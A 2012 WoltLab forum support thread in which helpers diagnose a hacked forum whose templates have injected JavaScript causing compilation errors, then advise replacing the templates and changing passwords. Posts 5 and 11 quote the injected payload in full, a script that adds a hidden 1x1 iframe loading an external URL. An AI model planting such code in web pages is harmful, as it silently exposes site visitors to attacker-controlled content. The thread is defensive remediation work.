You are not logged in.

1

Wednesday, June 13th 2012, 6:18pm

Fatal error: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'portal' on line 13

I am started getting the following error . Please help me .







You get more information about the problem in our knowledge base: http://www.woltlab.com/help/?code=12003
Information:

error message: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'portal' on line 13
error code: 12003
file: /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php (284)
php version: 5.2.17
wcf version: 1.1.8 (Tempest)
date: Wed, 13 Jun 2012 16:15:35 +0000
request: /
referer:

Stacktrace:
#0 /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php(110): TemplateScriptingCompiler->compileTag('q=document.crea...') #1 /home/chase4ne/public_html/wcf/lib/system/template/TemplateCompiler.class.php(31): TemplateScriptingCompiler->compileString('portal', '{include file="...') #2 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(360): TemplateCompiler->compile('portal', '{include file="...', '/home/chase4ne/...') #3 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(264): Template->compileTemplate('portal', '/home/chase4ne/...', '/home/chase4ne/...') #4 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(100): Template->display('portal') #5 /home/chase4ne/public_html/lib/page/PortalPage.class.php(147): AbstractPage->show() #6 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(46): PortalPage->show() #7 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(64): AbstractPage->__construct() #8 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(92): RequestHandler->__construct('Portal', Array, 'page') #9 /home/chase4ne/public_html/index.php(8): RequestHandler::handle(Array) #10 {main}

Alexander Ebert

WoltLab Developer

  • "Alexander Ebert" is male

Posts: 4,732

Location: Berlin

  • Send private message

2

Wednesday, June 13th 2012, 6:34pm

I guess you've created a custom portal box and inserted erroneous JavaScript code. You can fix this problem by wrapping the code within a "literal" block as shown below:

Source code

1
2
3
{literal}
// your JavaScript-Code here
{/literal}
Alexander Ebert
Developer WoltLab® GmbH


3

Thursday, June 14th 2012, 3:07am

i havent modified any file its working fine for so long time.Sudenly i got error from yesterday. please tell which file name and how to go that file location i need to modifiy.

4

Thursday, June 14th 2012, 9:18am

As you can read in the error message, it's the template "portal" in line 13. You can find it in the ACP under Design -> Templates -> List templates.
Mit freundlichen Grüßen
Best regards
KittBlog Stile - Ihr Kit für Stile, Software und Knowhow
Your kit for styles, software and knowhow
Erste Linkliste zu Erweiterungen und Support rund um Burning Board©
First linklist for plugins and support around Burning Board©

5

Thursday, June 14th 2012, 9:52am

The server was hacked and malicious code was insert to the files. Probably the hacker came by FTP to the server. You should contact your web host therefore.

HTML

1
;;;(function(s){if (window.inserted !== undefined) return;var d = document.createElement("div");d.innerHTML = s;document.body.appendChild(d);window.inserted = 1;})("<!--(676b4ee4ae)--><iframe src=\\"http:\/\/domain.tld\/t\/bcdece9617ad21ec90a33130b2ec7f56\\" width=1 height=1 style=\\"visibility: hidden\\"><\/iframe><!--(\/676b4ee4ae)-->");;;;(function(s){if (window.inserted !== undefined) return;var d = document.createElement("div");d.innerHTML = s;document.body.appendChild(d);window.inserted = 1;})("<!--(29604d66dc)--><iframe src=\\"http:\/\/domain.tld\/t\/bcdece9617ad21ec90a33130b2ec7f56\\" width=1 height=1 style=\\"visibility: hidden\\"><\/iframe><!--(\/29604d66dc)-->");
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

6

Thursday, June 14th 2012, 5:48pm

ok . please to me know how to correct the error now. I will also contact the web hoster.

7

Thursday, June 14th 2012, 5:55pm

Edit the portal.tpl with a text editor and remove the malicious code there. You can find the portal.tpl in the templates folder in the root directory of the forum via FTP program.
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

8

Thursday, June 14th 2012, 6:00pm

after deleting some line i am getting the following error :

after deleting this line {q=document.createElement("p");q.appendChild(q+"");}



I am gtting the following error
Fatal error: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'portal' on line 13





You get more information about the problem in our knowledge base: http://www.woltlab.com/help/?code=12003
Information:

error message: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'portal' on line 13
error code: 12003
file: /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php (284)
php version: 5.2.17
wcf version: 1.1.9 (Tempest)
date: Thu, 14 Jun 2012 15:58:05 +0000
request: /
referer:

Stacktrace:
#0 /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php(110): TemplateScriptingCompiler->compileTag('q=document.crea...') #1 /home/chase4ne/public_html/wcf/lib/system/template/TemplateCompiler.class.php(31): TemplateScriptingCompiler->compileString('portal', '{include file="...') #2 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(360): TemplateCompiler->compile('portal', '{include file="...', '/home/chase4ne/...') #3 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(264): Template->compileTemplate('portal', '/home/chase4ne/...', '/home/chase4ne/...') #4 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(100): Template->display('portal') #5 /home/chase4ne/public_html/lib/page/PortalPage.class.php(147): AbstractPage->show() #6 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(46): PortalPage->show() #7 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(64): AbstractPage->__construct() #8 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(92): RequestHandler->__construct('Portal', Array, 'page') #9 /home/chase4ne/public_html/index.php(8): RequestHandler::handle(Array) #10 {main}

9

Thursday, June 14th 2012, 6:05pm

You have to remove the entire malware. The error message was just an excerpt of that.
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

10

Thursday, June 14th 2012, 6:06pm

What values i need to delete in this file

11

Thursday, June 14th 2012, 6:08pm

HTML

1
;;;(function(s){if (window.inserted !== undefined) return;var d = document.createElement("div");d.innerHTML = s;document.body.appendChild(d);window.inserted = 1;})("<!--(676b4ee4ae)--><iframe src=\\"http:\/\/domain.tld\/t\/bcdece9617ad21ec90a33130b2ec7f56\\" width=1 height=1 style=\\"visibility: hidden\\"><\/iframe><!--(\/676b4ee4ae)-->");;;;(function(s){if (window.inserted !== undefined) return;var d = document.createElement("div");d.innerHTML = s;document.body.appendChild(d);window.inserted = 1;})("<!--(29604d66dc)--><iframe src=\\"http:\/\/domain.tld\/t\/bcdece9617ad21ec90a33130b2ec7f56\\" width=1 height=1 style=\\"visibility: hidden\\"><\/iframe><!--(\/29604d66dc)-->");

Without knowing the file, probably the statement which I have already posted above.
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

12

Thursday, June 14th 2012, 6:12pm

Really sorry i dont know what is malware . If i open portal.tpl file through notepad i dont any line like this .

;;;(function(s){if (window.inserted !== undefined) return;var d = document.createElement("div");d



Can you please help me .what i have to do exactly

13

Thursday, June 14th 2012, 6:21pm

Replace the file with the original
Lexa has attached the following file:
  • portal.tpl (3.16 kB - 25 times downloaded - latest: May 1st 2013, 3:00am)
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

14

Thursday, June 14th 2012, 6:28pm

Thanks i have uploaded i am getting the following error.


Fatal error: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'documentHeader' on line 5





You get more information about the problem in our knowledge base: http://www.woltlab.com/help/?code=12003
Information:

error message: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'documentHeader' on line 5
error code: 12003
file: /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php (284)
php version: 5.2.17
wcf version: 1.1.9 (Tempest)
date: Thu, 14 Jun 2012 16:27:43 +0000
request: /
referer:

Stacktrace:
#0 /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php(110): TemplateScriptingCompiler->compileTag('q=document.crea...') #1 /home/chase4ne/public_html/wcf/lib/system/template/TemplateCompiler.class.php(31): TemplateScriptingCompiler->compileString('documentHeader', '{if $this->sess...') #2 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(360): TemplateCompiler->compile('documentHeader', '{if $this->sess...', '/home/chase4ne/...') #3 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(264): Template->compileTemplate('documentHeader', '/home/chase4ne/...', '/home/chase4ne/...') #4 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(436): Template->display('documentHeader', false) #5 /home/chase4ne/public_html/wcf/templates/compiled/52_0_1_portal.php(13): Template->includeTemplate('documentHeader', Array, 1) #6 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(267): include('/home/chase4ne/...') #7 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(100): Template->display('portal') #8 /home/chase4ne/public_html/lib/page/PortalPage.class.php(147): AbstractPage->show() #9 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(46): PortalPage->show() #10 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(64): AbstractPage->__construct() #11 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(92): RequestHandler->__construct('Portal', Array, 'page') #12 /home/chase4ne/public_html/index.php(8): RequestHandler::handle(Array) #13 {main}

Alexander Ebert

WoltLab Developer

  • "Alexander Ebert" is male

Posts: 4,732

Location: Berlin

  • Send private message

15

Thursday, June 14th 2012, 6:45pm

Check the file 'documentHeader' it seems to be the source of the infection.
Alexander Ebert
Developer WoltLab® GmbH


16

Thursday, June 14th 2012, 6:55pm

In that what i have to edit ?

17

Thursday, June 14th 2012, 7:00pm

Replace the file with the original in the /wcf/templates/ folder.
Lexa has attached the following file:
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.

18

Thursday, June 14th 2012, 7:05pm

Thanks now portal is my page its working now . If click forum page its error showing.


Fatal error: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'index' on line 9





You get more information about the problem in our knowledge base: http://www.woltlab.com/help/?code=12003
Information:

error message: Template compilation failed: unknown tag {q=document.createElement("p");q.appendChild(q+"");} in template 'index' on line 9
error code: 12003
file: /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php (284)
php version: 5.2.17
wcf version: 1.1.9 (Tempest)
date: Thu, 14 Jun 2012 17:05:34 +0000
request: /index.php?page=Index
referer: http://chase4net.com/

Stacktrace:
#0 /home/chase4ne/public_html/wcf/lib/system/template/TemplateScriptingCompiler.class.php(110): TemplateScriptingCompiler->compileTag('q=document.crea...') #1 /home/chase4ne/public_html/wcf/lib/system/template/TemplateCompiler.class.php(31): TemplateScriptingCompiler->compileString('index', '{include file="...') #2 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(360): TemplateCompiler->compile('index', '{include file="...', '/home/chase4ne/...') #3 /home/chase4ne/public_html/wcf/lib/system/template/Template.class.php(264): Template->compileTemplate('index', '/home/chase4ne/...', '/home/chase4ne/...') #4 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(100): Template->display('index') #5 /home/chase4ne/public_html/wcf/lib/page/AbstractPage.class.php(46): AbstractPage->show() #6 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(64): AbstractPage->__construct() #7 /home/chase4ne/public_html/wcf/lib/util/RequestHandler.class.php(92): RequestHandler->__construct('Index', Array, 'page') #8 /home/chase4ne/public_html/index.php(8): RequestHandler::handle(Array)

Netzwerg

Member

  • "Netzwerg" is male

Posts: 5,550

Location: Ruhrpott

Occupation: Student

  • Send private message

19

Thursday, June 14th 2012, 7:13pm

It seems as if a whole lot of templates were compromised. I'd suggest you replace ALL templates with the originals.

And change all passwords (FTP, MySQL, Web-logon) and inform your hoster about the compromise.
Best regards,
Sebastian Teumert

20

Thursday, June 14th 2012, 7:16pm

You have to replace all the infected files with the originals if you can't edit them. Either from a backup you've created, or you install the forum in a separate folder and copy the files from there.
Religion ist der dumme Streit Erwachsener Menschen, wer den cooleren imaginären Freund hat.